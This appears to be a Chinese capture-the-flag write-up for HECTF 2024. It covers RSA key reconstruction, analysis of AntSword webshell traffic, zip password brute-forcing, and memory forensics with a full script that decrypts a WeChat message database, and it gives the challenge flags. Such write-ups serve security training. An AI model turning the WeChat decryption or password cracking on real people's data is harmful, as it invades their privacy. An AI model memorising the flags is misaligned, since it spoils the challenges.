小明喜欢上了小红,他使用rsa向小红发送了无数封含有中文字符的情书。终于小红忍不住了,找到了大嘿阔将小明的私钥证书打成碎片,移除了中间的内容并把上下段的私钥部分转化成16进制,以九个为一组用相同的方式打乱(转化时产生的0d0a换行符已被移除)。作为密码学大佬的你能恢复证书,找出小红忍无可忍的证据么?

提示1 情书与破碎的证书 hint1:字符中含有中文 常规输出方法无效,请使用 PKCS1_OAEP 解密器,并使用 cipher.decrypt() 解密密文(毕竟考点是证书)

pem内容16进制转字符,后面有 -----END PRIVATE KEY-----,是私钥文件。

根据 以九个为一组用相同的方式打乱(转化时产生的0d0a换行符已被移除),尝试分割:

1
2
3
4
5
0d30000102bc048230
010df78648862a0906
30a604820400050101
018202000102a20482
......

按私钥格式为 3082 开头,可知前半部分是每9个字符逆序,后半部分不变。

还原:

1
2
3
4
5
first_rev = '0d30000102bc048230010df78648862a090630a604820400050101018202000102a20482238d771399dbbd0001416e7fbd7f589b44151fb0c984549c1c4d948984f85c35934453bfbb4dbb99420f63f9cb8f577a7b60d67bdf84166c500fa7d6c6e484b75d97e308151b31a49c5bd77dd1d2d6711e50d9f5f7bc37d4e2235cfd76a522713c766e240aa2eb5fb45a9015d1dbd6a58b5b28861233ae4eb75a97ced0b78e91024d195adde08f7430b7f160d1d60a4f9d0801db74ebc8c23f9397251faac5500d216acc623e8f6ab212b5e6e9495d5ef6cee995fea98f40b1db2d356dd3c4d2612c64a1295bb23936fad66dc5662cb4ba6a8929591f6b14ce30d67df5ec35edb1f0973f746bcc5fc1ca921ee9660e04c6f286677b92e12b61ba310501030219e5085e5254046204000182020100'
first = ''.join([bytes.fromhex(first_rev[18*i:18*(i+1)])[::-1].hex() for i in range(len(first_rev)//18)])
print(first)

# 308204bc020100300d06092a864886f70d0101010500048204a6308204a20201000282010100bddb9913778d2315449b587fbd7f6e41944d1c9c5484c9b01fbf534493355cf88489cbf9630f4299bb4dbb84df7bd6607b7a578f84e4c6d6a70f506c16a4311b1508e3975db71e71d6d2d17dd75b9c23e2d437bcf7f5d9506e763c7122a576fd5c15905ab45feba20a241286285b8ba5d6dbd1b7d0ce975ab74eae338fe0dd5a194d02918e4f0ad6d160f1b730743fc2c8eb74db01089d210d50c5aa1f259793b512b26a8f3e62cc6a95e9cef65e5d49e9e66d352ddbb1408fa9fe5b29a1642c61d2c4d32c66c56dd6fa3639b2146b1f5929896abab4b1ed35ecf57dd630cecac15fcc6b743f97f086f2c6040e66e91e920531ba612be1927b6754525e08e519020301000102820100046204

按私钥格式拆分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
前半段:
308204bc

0201
00300d06092a864886f70d0101010500048204a6308204a2

0201
00

【n】
02820101
00bddb9913778d2315449b587fbd7f6e41944d1c9c5484c9b01fbf534493355cf88489cbf9630f4299bb4dbb84df7bd6607b7a578f84e4c6d6a70f506c16a4311b1508e3975db71e71d6d2d17dd75b9c23e2d437bcf7f5d9506e763c7122a576fd5c15905ab45feba20a241286285b8ba5d6dbd1b7d0ce975ab74eae338fe0dd5a194d02918e4f0ad6d160f1b730743fc2c8eb74db01089d210d50c5aa1f259793b512b26a8f3e62cc6a95e9cef65e5d49e9e66d352ddbb1408fa9fe5b29a1642c61d2c4d32c66c56dd6fa3639b2146b1f5929896abab4b1ed35ecf57dd630cecac15fcc6b743f97f086f2c6040e66e91e920531ba612be1927b6754525e08e519

【e】
0203
010001

028201
00046204

后半段:
d48d90d80f

【d mod (p-1)】
028180
51a5f7e7f4c050a50e18fde12fcee2646f2b43160b0c75ab4925e8269ae80e70cf12734f41fab18d0424ed7cceb7ddb27cbe0f554f7a6e1698d4ec5ba2b48d612e2337aeb75f8a57d8155a11d07b2c49d3d97c4ff0cfb89e6dd4f36cc37c010b5bc89356a39b576cc3edd03cdc4d791df5091a5571df1a6c15eedaa0773cf3cf

【d mod (q-1)】
028180
0fc61f05d19c96eec3edcacca34e1d3e2cab439bebab6693a3ce2ca99f88ab9cdd183ceb8e801d8298f835359864ef191db3f53269976ba04b03606e540859decd05805c4aa79dc6db22380658eaf0bffba0f4e719bcf1b1e04169d8e0cb3af4d90b2e62d7c7ed3045d49b525ca715ca3b84f07b4ece27d04d1795299fa186cd

【(inverse of q) mod p】
028180
25c20ab2529f1efd3d35347c573b282abfd95b264c92f6c4f9ec8b7c713206fbea1886880e29a36c47ef9bb753ce9567ea4d3e083c30f344022f95b7cd7114813bf6a28ecc67d5fe05953242684cd29c1c5dd8a74416890e5c943c70904ba70e349b15719a466f901fbf0cfc7840f8032e31afbccfb84f4a817ea51c8f90fd6a

2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d

已知 $n,e,c,dp,dq,\text{inv}(q,p)$,根据hint1,采用了OAEP加密方式,解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

n = 0x00bddb9913778d2315449b587fbd7f6e41944d1c9c5484c9b01fbf534493355cf88489cbf9630f4299bb4dbb84df7bd6607b7a578f84e4c6d6a70f506c16a4311b1508e3975db71e71d6d2d17dd75b9c23e2d437bcf7f5d9506e763c7122a576fd5c15905ab45feba20a241286285b8ba5d6dbd1b7d0ce975ab74eae338fe0dd5a194d02918e4f0ad6d160f1b730743fc2c8eb74db01089d210d50c5aa1f259793b512b26a8f3e62cc6a95e9cef65e5d49e9e66d352ddbb1408fa9fe5b29a1642c61d2c4d32c66c56dd6fa3639b2146b1f5929896abab4b1ed35ecf57dd630cecac15fcc6b743f97f086f2c6040e66e91e920531ba612be1927b6754525e08e519
e = 0x010001
dp = 0x51a5f7e7f4c050a50e18fde12fcee2646f2b43160b0c75ab4925e8269ae80e70cf12734f41fab18d0424ed7cceb7ddb27cbe0f554f7a6e1698d4ec5ba2b48d612e2337aeb75f8a57d8155a11d07b2c49d3d97c4ff0cfb89e6dd4f36cc37c010b5bc89356a39b576cc3edd03cdc4d791df5091a5571df1a6c15eedaa0773cf3cf
dq = 0x0fc61f05d19c96eec3edcacca34e1d3e2cab439bebab6693a3ce2ca99f88ab9cdd183ceb8e801d8298f835359864ef191db3f53269976ba04b03606e540859decd05805c4aa79dc6db22380658eaf0bffba0f4e719bcf1b1e04169d8e0cb3af4d90b2e62d7c7ed3045d49b525ca715ca3b84f07b4ece27d04d1795299fa186cd
c = 0x6f4cb0df50eb133f104727316eb23e25463b6b46a1ff743507c7663094da88a091c77c1d686a91613fa2da697c23924798b40654ba420b9690c5ceb9a362cf48e72c39177c6a3ebecc4e0ba2b9673f070a23e535fff7a01b400381ede60a6f9bf86047b3dd2c663c329b9287749bdb3783303802129b93af083aa2045c500fe0c2a7a018c2403881115927ae56ff14338b9fb98d5a5f461916d962aea7c3379ec7f7d8d77b4cc8ff756895c1500d9f2cee3552f17216339b0d67f27e0dd07e9ec1861f14c962b977559561d709d57e58fd6e6aafd27892c6d43d16b3db267902b9ce8f9ff89a66ab822b5ea3a68c872a32c69961df15581b70c00e4c61804d0d

for x in range(1, e):
if e * dp % x == 1:
p = (e * dp - 1) // x + 1
if n % p == 0:
q = n // p
break

# print(p)
# print(q)
assert p * q == n
f = (p-1)*(q-1)
d = inverse(e,f)

rsa_components = (n, e, d, p, q)
myrsa = RSA.construct(rsa_components)
rsakey = RSA.importKey(myrsa.exportKey())
rsakey = PKCS1_OAEP.new(rsakey)
m = rsakey.decrypt(long_to_bytes(c))
print(m.decode())

# 你知道么,rsa的大数分解的坚固就像爱情一样坚不可摧,你愿意让我们也像rsa一样坚不可摧么?但是你并不关心结局,你只关心你的flag:HECTF{t1an_dog_no_g3t_g00d_d1e}

MISC

恶势力的仓库

恶势力的仓库惨遭毒手,就代表着毒手伸进了恶势力的仓库

wireshark分析。

查看HTTP流,在流14,a.jpg.php ,识别为蚁剑流量。

将各个流的POST数据去头去尾,base64解码。

流16列目录,流17提取出gif图,流18提取出png图,结尾有base64字符串,解码得:

Although there is nothing here, I still have a hint prepared for you: perhaps you've seen the password before!!!

流19提取出7z文件。

往前查看流,流7的POST数据:

{"data":{"username":"hue=8zZvR2YzlWb","password":"YI6=ECZvd2YzlWb"}}

疑似逆序base64,password的值逆序后解base64得到 miscgod!,以此为密码解开7z压缩包。

机密文件.xlsx 中单元格只有0/1两种值,将值为1的单元格全局替换为黑色,全局缩小调行高,是一个二维码,扫码得到flag:HECTF{Y0u_are_m1sc_ggg9gggggggg9gggggggg9god}

2024HECTF俺来了!!!

关注凌武科技公众号,发送2024HECTF俺来辣!!!,有神秘惊喜!!!

公众号发关键词,flag:HECTF{Welcome_To_2024_HECTF!!!}

简单的压缩包

w41tm00n是个kisaki推,某天在水群的时候,一个同为kisaki推的g01den在群里分享了个压缩包,并留言里面有一张kisaki的图,同时里面还存在着神秘的信息(这里是flag),w41tm00n对此很感兴趣,你可以帮他得到神秘的信息(flag)吗?

Re.txt 中提示:正则 ^([a-z]){2}\d([^a-z])\D$,生成字典文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string
lcase = string.ascii_lowercase
ucase = string.ascii_uppercase
digit = string.digits
punc = string.punctuation

g = open('dic.txt','w')

for a in lcase:
for b in lcase:
for c in digit:
for d in ucase+digit+punc:
for e in lcase+ucase+punc:
f = a+b+c+d+e
g.write(f)
g.write('\n')

用passware载入字典多进程爆破,得到密码 np76_,解压得到 kisaki.png,提取末尾的zip。

getZip.py 里面是AES-CBC加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii

def encrypt(key,iv):
data = content
cipher1 = AES.new(key, AES.MODE_CBC, iv)
ct = cipher1.encrypt(pad(data, 16))
ct_hex = binascii.b2a_hex(ct)
return ct_hex

with open("oringe.zip","rb") as f:
content = f.read()

key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"

en = encrypt(key,iv)
with open("zip2.zip","wb") as f:
f.write(en)

解密data即可:

1
2
3
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"
c = 'cf5663613ce2bbd8ef6d3c522bcafa667ed985d67ba6ca2a21ce970c59e331dd7e090f248786c0ef8764395f1bb0aac136f1397d0a18ff55546473107fa7e5a385855cad91dda16ba4951e2f6618995b6faeecfaa1da7d3bd6ec66a4f57d6fae638a85da1cfdad89941512e9a0f7af49d33e285f4b56d66702ad4b4c1676824451125aaca20c1c74f9954d9546f9b5c059a990aae074c255cccf2866058ffa51159d6d0d67bfdbb3e233d27cb481709dd07fede7c9b28be6d7d581f2b7d476616cbc14a8133a23392eac733336d59cb42d6f5fe9a500eb340cf19dca8d6ddb47117d5a332f47b7fc260f4d1e1b8a2654b52d6403dc1376be22a6dcb9d8a72321acac5f63b59c8b82190629f644ee98757124d7883bfbe41df9d0b524e736da6bd0b54b37ce8c9b4f583b534052233a1a27f96be446e2f7e88eb2f8b4e0d84438546098c149d9ed511356726ff2bfdbdf'

解出zip直接查看 flag.txt 有flag:HECTF{c292af1-2b2ee35-6398bd4934f7626afc}

恶势力的聊天记录

附件下载地址: 链接:https://pan.baidu.com/s/1bGEqgrRgqZ61U8TxAD7qNA 提取码:o07y

volatility分析内存镜像文件:

volatility -f image.vmem imageinfo

volatility -f image.vmem --profile=Win7SP1x64 cmdline

结合题目,查到和微信相关的命令:

1
2
3
"C:\Users\aja\AppData\Roaming\Tencent\WeChat\XPlugin\Plugins\RadiumWMPF\11275\extracted\runtime\WeChatAppEx.exe" --log-level=2 --helper-handle-value=69441000 --wechat-files-path="C:\Users\aja\Documents\WeChat Files\\" --product-id=1000 --wechat-sub-user-agent="MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090c11)" --wmpf_extra_config="{ \"reportId\":-1, \"version\":11275 }" --web-translate --client_version=1661537297 --mojo-platform-channel-handle=2084

"C:\Users\aja\AppData\Roaming\Tencent\WeChat\XPlugin\Plugins\ThumbPlayer\4073\extracted\WeChatPlayer.exe" --user-lib-dir="C:\Program Files\Tencent\WeChat\[3.9.12.17]" --xlog_path="C:\Users\aja\AppData\Roaming\Tencent\WeChat\log\player" --xlog_prefix=player --mojo-platform-channel-handle=3152

搜索:

volatility -f image.vmem --profile=Win7SP1x64 filescan | findstr "Desktop"

有文件:

1
0x000000007e1b7660      5      0 RW---- \Device\HarddiskVolume2\Users\aja\Desktop\secretkey.zip

提取出来:

volatility -f image.vmem --profile=Win7SP1x64 dumpfiles -D ./ -Q 0x000000007e1b7660 -n

得到 secretkey.zip,内有64个含md5值的文件。

结合题目,寻找微信的聊天记录数据库,参考:微信PC端数据库文件解密

主要讨论的数据库文件,存放于WeChat Files/wxid_xxxxx/Msg之中

搜索:

volatility -f image.vmem --profile=Win7SP1x64 filescan | findstr "Msg"

有文件:

1
2
0x000000007da66710      2      1 RW-rw- \Device\HarddiskVolume2\Users\aja\Documents\WeChat Files\wxid_ah0tuevc7rbz22\Msg\Multi\MSG0.db
0x000000007dc9eac0 9 0 R--r-d \Device\HarddiskVolume2\Users\aja\Documents\WeChat Files\wxid_ah0tuevc7rbz22\Msg\Multi\MSG0.db

提取出来:

volatility -f image.vmem --profile=Win7SP1x64 dumpfiles -D ./ -Q 0x000000007da66710 -n

得到 MSG0.db

参考:2022巅峰极客 - easy_Forensic

因为微信数据库是用256位的AES-CBC加密的,它的密钥是32位的,而gift文件里的编码进行解码后也是32位的,所以猜测这是一个被加密的数据库。

secretkey.zip内64个含md5值的文件,刚好对应64个16进制数,即32个字符。

参考脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from Crypto.Cipher import AES
import hashlib, hmac, ctypes

SQLITE_FILE_HEADER = bytes("SQLite format 3",encoding='ASCII') + bytes(1)#文件头
IV_SIZE = 16
HMAC_SHA1_SIZE = 20
KEY_SIZE = 32
DEFAULT_PAGESIZE = 4096 #4048数据 + 16IV + 20 HMAC + 12
DEFAULT_ITER = 64000

#yourkey
dic = '0123456789abcdef'
p = ''
for i in range(64):
f = open(f'secretkey/{i}','r').read()
for k in dic:
if hashlib.md5(k.encode()).hexdigest() == f:
p += k
break
print(p)
password = bytes.fromhex(p)
print(password)

with open(r'MSG0.db', 'rb') as f:
blist = f.read()
print(len(blist))

salt = blist[:16]#微信将文件头换成了盐
key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)#获得Key

first = blist[16:DEFAULT_PAGESIZE]#丢掉salt

# import struct
mac_salt = bytes([x^0x3a for x in salt])
mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)

hash_mac = hmac.new(mac_key ,digestmod = 'sha1')#用第一页的Hash测试一下
hash_mac.update(first[:-32])
hash_mac.update(bytes(ctypes.c_int(1)))
# hash_mac.update(struct.pack('=I',1))
if (hash_mac.digest() == first[-32:-12]):
print('Correct Password')
else:
raise RuntimeError('Wrong Password')

blist = [blist[i:i+DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE,len(blist),DEFAULT_PAGESIZE)]
with open(r'out.db', 'wb') as f:
f.write(SQLITE_FILE_HEADER)#写入文件头
t = AES.new(key ,AES.MODE_CBC ,first[-48:-32])
f.write(t.decrypt(first[:-48]))
f.write(first[-48:])
for i in blist:
t = AES.new(key ,AES.MODE_CBC ,i[-48:-32])
f.write(t.decrypt(i[:-48]))
f.write(i[-48:])

用SQLiteSpy打开 out.db,在MSG表里面:

1
2
3
通过网盘分享的文件:secret_.zip
链接: https://pan.baidu.com/s/17Bt-vSpRpBLRuhTWaCgb6g?pwd=mfpt 提取码: mfpt
--来自百度网盘超级会员v4的分享

取出 data_and_key.txt,有data和key,尝试AES、veracrypt、RC4,在RC4情况下解出jpg。

jpg末尾有zip,最后有提示:`hectf_[4number].zip,掩码爆破得到密码 hectf_7865,解压zip压缩包得到flag:HECTF{Ez_WeCh@t_da7b45ef2e2b948dd22f4366fb536a46_S3cRet}

Rem_You

Rem_YOU.png,16进制查看,实际是jpg。

提取末尾的zip压缩包,解压,jigsaw文件夹有9个二维码碎片,拼接,扫描得到:

JBCUGVCGPN2VMM3YPBRTOUZYNF4UETSUPB2GM6DWKBZE6N2SIZCTGZ2MOBZG6OLBGNAVOMSLKB6Q====

base32解码得flag:HECTF{uV3xxc7S8iyBNTxtfxvPrO7RFE3gLpro9a3AW2KP}

快来反馈吧!!

什么?!听说反馈就可以有flag?!!!! https://www.wjx.cn/vm/wDLL4tY.aspx#

填问卷得flag:HECTF{5L+d5L+d5ZCM5L2V5biI5Lq65Lus55qE5Y+C5LiO_ThankYouMasters}